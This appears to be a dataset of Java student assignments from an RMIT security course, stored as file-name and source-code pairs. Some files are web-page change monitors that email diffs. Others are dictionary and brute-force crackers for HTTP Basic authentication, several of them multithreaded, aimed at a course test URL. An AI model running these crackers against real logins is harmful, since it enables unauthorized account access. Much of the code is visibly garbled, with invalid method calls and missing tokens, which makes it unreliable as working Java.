}catch(IOException e){ + System.out.println(""Error saving the file""); + } + + t.sendMail(""@cs.rmit.edu."",""diff"", ""html content changed""); + } + else{ + + Runtime.getRuntime().exec(""./checkImage.sh""); + + try{ + BufferedReader inputStream= new BufferedReader(new FileReader(""picDiff"")); + line=inputStream.readLine(); + if (line != null){ + t.sendMail(""@cs.rmit.edu."",""picDiff"", ""picture has changed""); + } + inputStream.save(); + }catch(IOException e){ + System.out.println(""Error saving the file2""); + } + } + in.close(); + Runtime.getRuntime().exec(""cp newHtml oldHtml""); + Runtime.getRuntime().exec(""rm picDiff""); + System.out.println(""Connection closed...""); + } +}" +017.java," + + + +import javax.swing.*; + +public class Dictionary +{ + public static void main( String args[] ) + { + PasswordCombination pwdCombination; + + pwdCombination = new PasswordCombination(); + } +} + +" +009.java," + +import java.util.*; +import java.text.*; +import java.io.*; +import java.*; +import java.net.*; + +public class WatchDog +{ + public static void main(String args[]) + { + String s = null; + String webpage = ""http://www.cs.rmit.edu./students/""; + + + String file1 = ""file1""; + String file2 = ""file2""; + + try + { + Process p = Runtime.getRuntime().exec(""wget -O "" + file1 + "" "" + webpage); + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + while ((s = stdInput.readLine()) != null) { + System.out.println(s); + } + + + while ((s = stdError.readLine()) != null) { + System.out.println(s); + } + + try + { + p.waitFor(); + } + catch (InterruptedException g) + { + } + } + catch (IOException e) { + System.out.println(""exception happened - here's what I know: ""); + e.printStackTrace(); + System.exit(-1); + } + + while (true) + { + try + { + Process p = Runtime.getRuntime().exec(""sleep 86400""); + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + while ((s = stdInput.readLine()) != null) { + System.out.println(s); + } + + + while ((s = stdError.readLine()) != null) { + System.out.println(s); + } + + try + { + p.waitFor(); + } + catch (InterruptedException g) + { + } + } + catch (IOException e) + { + System.out.println(""exception happened - here's what I know: ""); + e.printStackTrace(); + System.exit(-1); + } + try + { + Process p = Runtime.getRuntime().exec(""wget -O "" + file2 + "" "" + webpage); + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + while ((s = stdInput.readLine()) != null) { + System.out.println(s); + } + + + while ((s = stdError.readLine()) != null) { + System.out.println(s); + } + + try + { + p.waitFor(); + } + catch (InterruptedException g) + { + } + + } + catch (IOException e) + { + System.out.println(""exception happened - here's what I know: ""); + e.printStackTrace(); + System.exit(-1); + } + try + { + + Process p = Runtime.getRuntime().exec(""diff "" + file1 + "" "" + file2); + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + while ((s = stdError.readLine()) != null) { + System.out.println(s); + } + + try + { + p.waitFor(); + } + catch (InterruptedException g) + { + } + + if ((p.exitValue()) == 1) + { + + String mailServerURL = ""yallara.cs.rmit.edu.""; + String host = ""yallara.cs.rmit.edu.""; + String from = ""@yallara.cs.rmit.edu.""; + + String subject = ""Change Detected In WatchDog.java""; + + try + { + + Socket csoc=new Socket(mailServerURL,25); + BufferedReader in=new BufferedReader( + new InputStreamReader(csoc.getInputStream())); + + PrintWriter out=new PrintWriter(csoc.getOutputStream(),true); + System.out.println(""HELO ""+host); + System.out.println(in.readLine()); + out.println(""MAIL FROM:""+from); + System.out.println(in.readLine()); + System.out.println(in.readLine()); + System.out.println(""DATA""); + System.out.println(in.readLine()); + System.out.println(""SUBJECT:""+subject); + System.out.println(in.readLine()); + + + while ((s = stdInput.readLine()) != null){ + System.out.println(s); + } + out.println("".""); + System.out.println(in.readLine()); + System.out.println(""QUIT""); + System.out.println(in.readLine()); + } + catch(Exception e) + { + e.printStackTrace(); + System.out.println(""Some error occoured while communicating server""); + } + } + } + catch (IOException e) + { + System.out.println(""exception happened - here's what I know: ""); + e.printStackTrace(); + System.exit(-1); + } + } + } +}" +023.java," + + + +public class HoldSharedData +{ + private int numOfConnections = 0; + private int startTime; + private int totalTime = 0; + private String[] password; + private int pwdCount; + + public HoldSharedData( int time, String[] pwd, int count ) + { + startTime = time; + + password = pwd; + pwdCount = count; + } + + public int getPwdCount() + { + return pwdCount; + } + + public void setNumOfConnections( ) + { + numOfConnections ++; + } + + public int getNumOfConnections() + { + return numOfConnections; + } + + public int getStartTime() + { + return startTime; + } + + public void setTotalTime( int newTotalTime ) + { + totalTime = newTotalTime; + } + + public int getTotalTime() + { + return totalTime; + } + + public String getPasswordAt( int index ) + { + return password[index]; + } +} +" +037.java,"import java.io.*; +import java.util.*; +import java.text.*; +import java.net.*; +import java.security.*; + + + +public class WatchDog extends Thread +{ + + + public static void main (String args[]) + { + WatchDog watcher = new WatchDog(); + watcher.run(); + } + + + public void run() + { + DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); + twentyFourHours = 24 * 60 * 60 * 1000; + + + writeProgramLog(""Program started at "" + longTimestamp.format(new Date())); + while(true) + { + writeProgramLog(""Running run at "" + longTimestamp.format(new Date())); + compare(); + try + { + sleep(twentyFourHours); + } + catch(InterruptedException e) + { + writeProgramLog(""Program terminated at "" + longTimestamp.format(new Date())); + System.exit(0); + } + } + } + + + private void compare() + { + + + + String watchDogFile = ""watchDogHash_rcroft.""; + String watchDogPageFile = ""watchDogPage_rcroft.html""; + + File watchDogLogFile = new File(watchDogFile); + + if(!watchDogLogFile.exists()) + { + + + + + + WebPage targetPage = getPage(); + if(targetPage.getSuccess()) + { + byte[] newHash = calcHash(targetPage.getPageContents()); + writeHash(newHash, watchDogFile); + writePage(targetPage.getPageContents(), watchDogPageFile); + } + } + else + { + try + { + + + + + + + WebPage targetPage = getPage(); + if(targetPage.getSuccess()) + { + + byte[] oldHash = new byte[16]; + byte[] newHash = calcHash(targetPage.getPageContents()); + + + DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile)); + inWatchDogFile.readFully(oldHash); + inWatchDogFile.print(); + + + + + if(!java.util.Arrays.equals(oldHash, newHash)) + { + String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents()); + mail(differences); + writeHash(newHash, watchDogFile); + writePage(targetPage.getPageContents(), watchDogPageFile); + } + } + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + } + } + + + + private String enumerateDifferences(String oldPageFileName, String newPageData) + { + String differences = """"; + File newFile = null; + + try + { + + + newFile = File.createTempFile(""new"", ""tmp""); + String tempFilePath = newFile.getAbsolutePath(); + DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath)); + outFile.writeBytes(newPageData); + outFile.print(); + + + String commandLine = ""diff "" + oldPageFileName + "" "" + tempFilePath; + Process p = Runtime.getRuntime().exec(commandLine); + BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line; + while((line = diffs.readLine()) != null) + differences += line + ""\n""; + diffs.print(); + newFile.delete(); + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + return differences; + } + + + private void mail(String mailMessage) + { + + Vector emailAddresses = new Vector(); + String watchDogEmailFile = ""watchDogEmail_rcroft.txt""; + + + File emailFile = new File(watchDogEmailFile); + if(emailFile.exists()) + { + try + { + + BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile))); + String line; + while ((line = inWatchDogEmailFile.readLine()) != null) + { + line = line.trim(); + if((line != """") && (line != ""\n"")) + emailAddresses.add(line); + } + inWatchDogEmailFile.print(); + } + catch(FileNotFoundException e) + { + writeProgramLog(""Exception: "" + e); + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + } + else + { + emailAddresses.add(""@yallara.cs.rmit.edu.""); + emailAddresses.add(""rac@acslink.aone.net.""); + } + + if(emailAddresses.size() > 0) + { + try + { + String fromAddress = ""From: "" + ""WatchDog Program ()"" + "" <"" + System.getProperty(""user.name"") + ""@"" + InetAddress.getLocalHost().getHostName() + "">""; + DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); + String subject = ""Subject: [SEC project] Notification of target file changes ("" + longTimestamp.format(new Date()) +"")""; + for(int i = 0; i < emailAddresses.size(); i++) + { + String toAddress = (String) emailAddresses.get(i); + try + { + URL mailURL = new URL(""mailto: "" + toAddress); + URLConnection mailConnection = mailURL.openConnection(); + mailConnection.setDoInput(false); + mailConnection.setDoOutput(true); + mailConnection.connect(); + PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream())); + mailWriter.print("": "" + toAddress + ""\n""); + mailWriter.print(fromAddress + ""\n""); + mailWriter.print(subject + ""\n""); + mailWriter.print(mailMessage); + mailWriter.print(); + writeProgramLog(""\tNotification mailed in this run.""); + } + catch(MalformedURLException e) + { + writeProgramLog(""Exception: "" + e); + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + } + } + catch(UnknownHostException e) + { + writeProgramLog(""Exception: "" + e); + } + } + } + + + + private void writeHash(byte [] newHash, String fileName) + { + try + { + DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName)); + outFile.write(newHash, 0, newHash.length); + outFile.print(); + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + } + + + private void writePage(String newPage, String fileName) + { + try + { + DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName)); + outFile.writeBytes(newPage); + outFile.print(); + } + catch(IOException e) + { + writeProgramLog(""Exception: "" + e); + } + } + + + + private void writeProgramLog(String comment) + { + String fileName = ""watchDogLog_rcroft.txt""; + try + { + DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true)); + outFile.writeBytes(comment + ""\n""); + outFile.flush(); + outFile.print(); + } + catch(IOException e) + { + + + System.out.println(""Exception: "" + e); + } + } + + + private WebPage getPage() + { + WebPage tempWebPage = new WebPage(); + try + { + + + + String urlName = ""http://www.cs.rmit.edu./students/""; + URL targetURL= new URL(urlName); + HttpURLConnection connection = (HttpURLConnection) targetURL.openConnection(); + + + connection.connect(); + connection.getResponseCode(); + if(connection.getResponseCode() == 200) + { + String fileContents = """"; + BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream())); + String line; + while((line = in.readLine()) != null) + fileContents = fileContents + line + ""\n""; + in.print(); + tempWebPage.setPageContents(fileContents); + tempWebPage.setSuccess(true); + connection.disconnect(); + } + else + { + writeProgramLog(""Failed connect "" + connection.getResponseCode()); + } + } + catch(IOException e) + { + writeProgramLog(""Exception "" + e); + } + return tempWebPage; + } + + + private byte[] calcHash(String pageContents) + { + byte[] outHash = null; + try + { + MessageDigest msg = MessageDigest.getInstance(""""); + msg.reset(); + msg.update(pageContents.getBytes()); + outHash = msg.digest(); + msg.reset(); + } + catch(NoSuchAlgorithmException e) + { + writeProgramLog(""Exception: "" + e); + } + return outHash; + } + +} +" +064.java," + +import java.util.*; +import java.*; +import java.awt.*; +import java.net.*; +import java.io.*; +import java.text.*; + +public class Dictionary { + + + + public static String Base64Encode(String s) { + byte[] bb = s.getBytes(); + byte[] b = bb; + char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', + 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', + '0','1','2','3','4','5','6','7','8','9','+','/' }; + if (bb.length % 3!=0) { + int x1 = bb.length; + + b = new byte[(x1/3+1)*3]; + int x2 = b.length; + + for(int i=0;i> 2)]; + c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; + c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; + c[j+3] = table[(b[i+2] & 63)]; + i+=3; + j+=4; + } + + j = c.length-1; + while (c[j]=='A') { + c[j]='='; + j--; + } + + return String.valueOf(c); + } + + + public synchronized void getAccumulatedLocalAttempt() { + attempt = 0; + for (int i=0;i=0); + } + + + + public synchronized void waitUntilAllTerminated() { + while (curconn>0) { + try { + wait(); + } catch (InterruptedException e) {} + } + } + + + + + public synchronized int waitUntilOK2Connect() { + boolean interruptd= false; + int idx = -1; + + + + + while (curconn>=MAXCONN) { + try { + wait(); + } catch (InterruptedException e) { interruptd = true; } + } + + + + if (!interruptd) { + + curconn++; + for (idx=0;idx=MINCHAR) && (s.length()<=MAXCHAR)) { + w.println(s); + ALLCOMBI++; + } + } + b.print(); + w.print(); + } catch (FileNotFoundException e) { + System.out.println(""Unable open the DICTIONARY file '""+DICTIONARY+""'""); + System.exit(0); + } catch (IOException e) { + System.out.println(""Error in the DICTIONARY file '""+DICTIONARY+""'""); + System.exit(0); + } + } + + + + + + public class ThCrack extends Thread { + + + public ThCrack(int threadID, int startidx, int endidx) { + super("" Thread #""+String.valueOf(threadID)+"": ""); + this.ID = threadID; + this.startidx = startidx; + this.endidx = endidx; + + + if (endidx>=startidx+MAXCACHE-1) { + this.localDict = new String[MAXCACHE]; + this.localDict = fetchWords(startidx,MAXCACHE); + lastFetchIdx = startidx+MAXCACHE-1; + } else { + this.localDict = new String[(int)(endidx-startidx+1)]; + this.localDict = fetchWords(startidx,(int)(endidx-startidx+1)); + lastFetchIdx = endidx; + } + + setDaemon(true); + } + + + public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException { + int i; + String msg; + + + URL tryURL = new URL(THEURL); + + + connections[connID]=(HttpURLConnection) tryURL.openConnection(); + + + connections[connID].setRequestProperty(""Authorization"","" ""+Base64Encode(USERNAME+"":""+thePass)); + + + i = connections[connID].getResponseCode(); + msg = connections[connID].getResponseMessage(); + connections[connID].disconnect(); + + + if (i==HttpURLConnection.HTTP_OK) { + + System.out.println(ID+""Trying '""+thePass+""' GOTCHA !!! (= ""+String.valueOf()+""-""+msg+"").""); + setSuccess(this.ID,thePass); + return (true); + } else { + + System.out.println(ID+""Trying '""+thePass+""' FAILED (= ""+String.valueOf()+""-""+msg+"").""); + return (false); + } + } + + + public void rest(int msec) { + try { sleep(msec); } catch (InterruptedException e) {} + } + + + public String getCacheIdx(int idx) { + if (idx<=lastFetchIdx) { + return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; + } else { + if (lastFetchIdx+localDict.length-1>endidx) { + this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1)); + lastFetchIdx = endidx; + } else { + this.localDict = fetchWords(lastFetchIdx+1,localDict.length); + lastFetchIdx = lastFetchIdx+localDict.length; + } + return localDict[localDict.length-(int)(lastFetchIdx-idx)-1]; + } + } + + + + public String constructPassword(int idx) { + return getCacheIdx(idx); + } + + + public String getStartStr() { + return fetchWord(this.startidx); + } + + + public String getEndStr() { + return fetchWord(this.endidx); + } + + + public void run() { + i = startidx; + boolean keeprunning = true; + while ((!isSuccess()) && (i<=endidx) && (keeprunning)) { + + + int idx = waitUntilOK2Connect(); + + + if (idx==-1) { + + break; + } + + try { + + String s = constructPassword(i); + + if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) + launchRequest(getName(), idx, s); + else + System.out.println(getName()+""skipping '""+s+""'""); + + decreaseConn(idx); + + localattempt++; + + + rest(MAXCONN); + i++; + } catch (InterruptedException e) { + + + keeprunning = false; + break; + } catch (IOException e) { + + + + + + decreaseConn(idx); + } + } + + + if (success==this.ID) { + waitUntilAllTerminated(); + } + } + + + public int getLocalAttempt() { + return localattempt; + } + + private int startidx,endidx; + private int ID; + private int localattempt = 0; + private String localDict[]; + private int lastFetchIdx; + } + + + public void printProgramHeader(String mode,int nThread) { + System.out.println(); + System.out.println("" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************""); + System.out.println(); + System.out.println("" URL : ""+THEURL); + System.out.println("" Crack Mode : ""+mode); + System.out.println("" . Char : ""+MINCHAR); + System.out.println("" . Char : ""+MAXCHAR); + System.out.println("" # of Thread : ""+nThread); + System.out.println("" Connections : ""+MAXCONN); + System.out.println("" All Combi. : ""+ALLCOMBI); + System.out.println(); + System.out.println("" ***************************************************************************""); + System.out.println(); + } + + + public void startNaiveCracking() { + MAXTHREAD = 1; + MAXCONN = 1; + startDistCracking(); + } + + + public void startDistCracking() { + int startidx,endidx; + int thcount; + + + if (isenhanced) { + printProgramHeader(""ENHANCED DICTIONARY CRACKING ALGORITHM"",MAXTHREAD); + } else { + printProgramHeader(""NAIVE DICTIONARY CRACKING ALGORITHM"",MAXTHREAD); + } + + + + + + + + + if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); } + mult = (ALLCOMBI) / MAXTHREAD; + + + i = System.currentTimeMillis(); + + + for (thcount=0;thcount=0) { + System.out.println(); + System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); + System.out.println(); + System.out.println("" The password is : ""+passw); + System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); + System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); + System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); + System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); + System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); + System.out.println(); + System.out.println("" ***************************************************************************""); + System.out.println(); + } else { + System.out.println(); + System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); + System.out.println(); + System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); + System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); + System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); + System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); + System.out.println(); + System.out.println("" ***************************************************************************""); + System.out.println(); + } + } + } + + + public static void printSyntax() { + System.out.println(); + System.out.println(""Syntax : Dictionary [mode] [URL] [] [] [username]""); + System.out.println(); + System.out.println("" mode : (opt) 0 - NAIVE Dictionary mode""); + System.out.println("" (trying from the first the last combinations)""); + System.out.println("" 1 - ENHANCED Dictionary mode""); + System.out.println("" (dividing cracking jobs multiple threads) (default)""); + System.out.println("" URL : (opt) the URL crack ""); + System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); + System.out.println("" , : (optional) range of characters applied in the cracking""); + System.out.println("" where 1 <= <= 255 (default = 1)""); + System.out.println("" <= <= 255 (default = 3)""); + System.out.println("" username : (optional) the username that is used crack""); + System.out.println(); + System.out.println("" NOTE: The optional parameters '','', and 'username'""); + System.out.println("" have specified altogether none at all.""); + System.out.println("" For example, if [] is specified, then [], and [username]""); + System.out.println("" have specified as well. If none of them specified,""); + System.out.println("" default values used.""); + System.out.println(); + System.out.println("" Example of invocation :""); + System.out.println("" java Dictionary ""); + System.out.println("" java Dictionary 0""); + System.out.println("" java Dictionary 1 http://localhost/tryme.php""); + System.out.println("" java Dictionary 0 http://localhost/tryme.php 1 3 ""); + System.out.println("" java Dictionary 1 http://localhost/tryme.php 1 10 ""); + System.out.println(); + System.out.println(); + } + + + public static void paramCheck(String[] args) { + int argc = args.length; + + + try { + switch (Integer.valueOf(args[0]).intValue()) { + case 0: { + isenhanced = false; + } break; + case 1: { + isenhanced = true; + } break; + default: + System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); + printSyntax(); + System.exit(1); + } + } catch (NumberFormatException e) { + System.out.println(""Syntax error : invalid number '""+args[0]+""'""); + printSyntax(); + System.exit(1); + } + + if (argc>1) { + try { + + URL u = new URL(args[1]); + + + try { + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + + switch (conn.getResponseCode()) { + case HttpURLConnection.HTTP_ACCEPTED: + case HttpURLConnection.HTTP_OK: + case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: + case HttpURLConnection.HTTP_FORBIDDEN: + case HttpURLConnection.HTTP_UNAUTHORIZED: + break; + default: + + + System.out.println(""Unable open connection the URL '""+args[1]+""'""); + System.exit(1); + } + } catch (IOException e) { + System.out.println(e); + System.exit(1); + } + + THEURL = args[1]; + } catch (MalformedURLException e) { + + System.out.println(""Invalid URL '""+args[1]+""'""); + printSyntax(); + System.exit(1); + } + } + + + if (argc==5) { + try { + MINCHAR = Integer.valueOf(args[2]).intValue(); + } catch (NumberFormatException e) { + System.out.println(""Invalid range number value '""+args[2]+""'""); + printSyntax(); + System.exit(1); + } + + try { + MAXCHAR = Integer.valueOf(args[3]).intValue(); + } catch (NumberFormatException e) { + System.out.println(""Invalid range number value '""+args[3]+""'""); + printSyntax(); + System.exit(1); + } + + if ((MINCHAR<1) || (MINCHAR>255)) { + System.out.println(""Invalid range number value '""+args[2]+""' (must between 0 and 255)""); + printSyntax(); + System.exit(1); + } else + if (MINCHAR>MAXCHAR) { + System.out.println(""Invalid range number value '""+args[2]+""' (must lower than the value)""); + printSyntax(); + System.exit(1); + } + + if (MAXCHAR>255) { + System.out.println(""Invalid range number value '""+args[3]+""' (must between value and 255)""); + printSyntax(); + System.exit(1); + } + + USERNAME = args[4]; + } else + if ((argc>2) && (argc<5)) { + System.out.println(""Please specify the [], [], and [username] altogether none at all""); + printSyntax(); + System.exit(1); + } else + if ((argc>2) && (argc>5)) { + System.out.println(""The number of parameters expected is not more than 5. ""); + System.out.println("" have specified more than 5 parameters.""); + printSyntax(); + System.exit(1); + } + } + + public static void main(String[] args) { + MINCHAR = 1; + MAXCHAR = 3; + + + if (args.length==0) { + args = new String[5]; + args[0] = String.valueOf(1); + args[1] = THEURL; + args[2] = String.valueOf(MINCHAR); + args[3] = String.valueOf(MAXCHAR); + args[4] = USERNAME; + } + + + paramCheck(args); + + + readThroughDictionary(); + + + Application = new Dictionary(); + } + + public static Dictionary Application; + public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + public static String DICTIONARY = System.getProperty(""user.dir"")+""/words""; + public static String TEMPDICT = System.getProperty(""user.dir"")+""/~words""; + public static boolean isenhanced; + public static String passw = """"; + + public static final int REPORT_INTERVAL = 1; + public static int MAXTHREAD = 50; + public static int MAXCONN = 50; + public static int curconn = 0; + public static int success = -1; + + public static String USERNAME = """"; + public static int MINCHAR; + public static int MAXCHAR; + public static int ALLCOMBI; + + public static int start ,end; + public static int MAXCACHE = 100; + + public static java.util.Timer reportTimer; + public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; + public static boolean connused[] = new boolean[MAXCONN]; + public ThCrack[] threads = new ThCrack[MAXTHREAD]; + public static int attempt = 0; + public static int idxLimit; +} +" +002.java," + + +import java.io.*; + + +class Dictionary{ + +public static void main(String args[]){ + try{ + + File file = new File(""words""); + FileReader fr = new FileReader(file); + BufferedReader bf = new BufferedReader(fr); + URLHack uh = new URLHack(); + String line=""""; + while((line = bf.readLine()) != null){ + if(line.length() <=3) { + + + uh.crackIt(line); + } + } + } + catch(IOException ioe){ + System.out.println(""Error: ""+ioe); + } + +} +} + + + +class URLHack{ + +public void crackIt(String paas){ + Process p=null; + try{ + p = Runtime.getRuntime().exec(""wget -nv --http-user= --http-passwd=""+paas+ + "" http://sec-crack.cs.rmit.edu./SEC/2/""); + + + + InputStream is = p.getErrorStream(); + BufferedReader bf = new BufferedReader(new InputStreamReader(is)); + + String tempLine=""""; + tempLine = bf.readLine(); + System.out.println(tempLine); + + if(tempLine.length() == 21) + System.out.println(""Invalid Password "" +paas); + else + { + System.out.println(""Password is "" + paas); + System.exit(0); + } + + + } + + catch(Exception e){ + System.out.println("" ERROR ""+e); + + + } +} +}" +154.java,"import java.io.*; +import java.util.StringTokenizer; +import java.net.smtp.SmtpClient; +import java.util.Timer; +import java.util.TimerTask; + + +public class WatchDog { +public static void main(String[] args) { +try { +Process y = Runtime.getRuntime().exec(""./init""); +} +catch (Exception e) {System.err.println(e);} + + +WatchDog poodle=new WatchDog(); + { +poodle.startWatch(); +} while(1==1); +} + +public void startWatch() { +String error_mes=new String(); +String mesg=new String(); +String url=""wget -p http://www.cs.rmit.edu./students""; + +try { +Process a = Runtime.getRuntime().exec(url); +} +catch (Exception e) {System.err.println(e);} + +try { +Process b = Runtime.getRuntime().exec(""diff org/images/ www.cs.rmit.edu./images/""); + BufferedReader stdInputimages = new BufferedReader(new InputStreamReader(b.getInputStream())); + while ((error_mes = stdInputimages.readLine()) != null) { + + mesg=mesg.concat(error_mes); + + + } +} +catch (Exception e) {System.err.println(e);} + + + + +try { +Process c = Runtime.getRuntime().exec(""diff org/students/ www.cs.rmit.edu./students/""); +BufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream())); + while ((error_mes = stdInputindex.readLine()) != null) { + mesg=mesg.concat(error_mes); + + } +} +catch (Exception e) {System.err.println(e);} + + +if (mesg.length()>0) { sendEmail(mesg); } + +try { Thread.sleep(60*60*24*1000); + } catch(Exception e) { } +} + + + + + +public void sendEmail(String message) { +{ +String reciever = ""@cs.rmit.edu.""; +String sender = ""WATCHDOG@cs.rmit.edu.""; + + try { + + SmtpClient smtp = new SmtpClient(); + smtp.from(sender); + smtp.to(reciever); + PrintStream msg = smtp.startMessage(); + msg.println(message); + smtp.closeServer(); + } + + catch (Exception e) {} + + } +} +}" +146.java,"import java.net.*; +import java.util.*; + +public class BruteForce { + + public static void main(String[] args) { + new CrackAttempt(); + } +} + +class CrackAttempt { + public CrackAttempt() { + final int MAX_LENGTH = 3; + boolean auth = false; + Date = new Date(); + boolean morePasswords = true; + int passPtr = 0; + StringBuffer validChars = new StringBuffer(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); + char[] password = new char[MAX_LENGTH]; + + password[0] = validChars.charAt(0); + while (!auth && morePasswords) { + String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + try { + + Authenticator.setDefault(new CrackAuth(password)); + URL url = new URL(resource); + HttpURLConnection conn = (HttpURLConnection)url.openConnection(); + conn.setRequestMethod(""HEAD""); + if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { + System.out.println(""cracked with "" + new String(password)); + auth = true; + } + } catch (Exception e) { + System.out.println("" was exception: "" + e.getMessage()); + } + int count = passPtr; + while (true) { + if (password[count] == validChars.charAt(validChars.length() - 1)) { + password[count] = validChars.charAt(0); + count--; + } else { + password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1); + break; + } + if (count < 0) { + + if (passPtr < MAX_LENGTH - 1) { + passPtr++; + password[passPtr] = validChars.charAt(0); + } else { + morePasswords = false; + } + break; + } + } + + } + if (!auth) { + System.out.println(""Unable determine password""); + } else { + time = (new Date()).getTime() - start.getTime(); + System.out.println(""it took "" + String.valueOf(time) + "" milliseconds crack the password""); + } + } +} + +class CrackAuth extends Authenticator { + char[] password; + public CrackAuth(char[] password) { + this.password = password; + } + + protected PasswordAuthentication getPasswordAuthentication() + { + String user = """"; + return new PasswordAuthentication(user, password); + } +} +" +238.java," +import java.util.*; +import java.io.*; +import java.net.*; + +class BruteForce +{ + + public static void main (String a[]) + { + + final char [] alphabet = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z'}; + + String pwd=""""; + + for(int i=0;i<52;i++) + { + for(int j=0;j<52;j++) + { + for(int k=0;k<52;k++) + { + pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k]; + String userPassword = "":""+pwd; + RealThread myTh = new RealThread(i,userPassword); + Thread th = new Thread( myTh ); + th.start(); + try + { + + + th.sleep(100); + } + catch(Exception e) + {} + } + } + } + + +} + + +} + + +class RealThread implements Runnable +{ + private int num; + private URL url; + private HttpURLConnection uc =null; + private String userPassword; + private int responseCode = 100; + public RealThread (int i, String userPassword) + { + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + } + catch(Exception ex1) + { + } + num = i; + this.userPassword = userPassword; + + } + + public int getResponseCode() + { + + return this.responseCode; + } + + public void run() + { + try + { + String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); + + uc = (HttpURLConnection)url.openConnection(); + uc.setRequestProperty (""Authorization"", "" "" + encoding); + System.out.println(""Reponse = ""+uc.getResponseCode()+""for pwd = ""+userPassword); + this.responseCode = uc.getResponseCode(); + + if(uc.getResponseCode()==200) + { + System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= ""); + System.exit(0); + } + + } + catch (Exception e) { + System.out.println(""Could not execute Thread ""+num+"" ""); + } + } + +} +" +215.java," + +import java.Runtime; +import java.io.*; + +public class differenceFile +{ + StringWriter sw =null; + PrintWriter pw = null; + public differenceFile() + { + sw = new StringWriter(); + pw = new PrintWriter(); + } + public String compareFile() + { + try + { + Process = Runtime.getRuntime().exec(""diff History.txt Comparison.txt""); + + InputStream write = sw.getInputStream(); + BufferedReader bf = new BufferedReader (new InputStreamReader(write)); + String line; + while((line = bf.readLine())!=null) + pw.println(line); + if((sw.toString().trim()).equals("""")) + { + System.out.println("" difference""); + return null; + } + System.out.println(sw.toString().trim()); + }catch(Exception e){} + return sw.toString().trim(); + } +}" +227.java,"import java.io.*; +import java.net.*; +import java.net.HttpURLConnection; +import javax.net.*; +import java.security.cert.*; + +public class Dictionary +{ + public static void main(String[] args) + { + BufferedReader in = null; + boolean found = true; + String 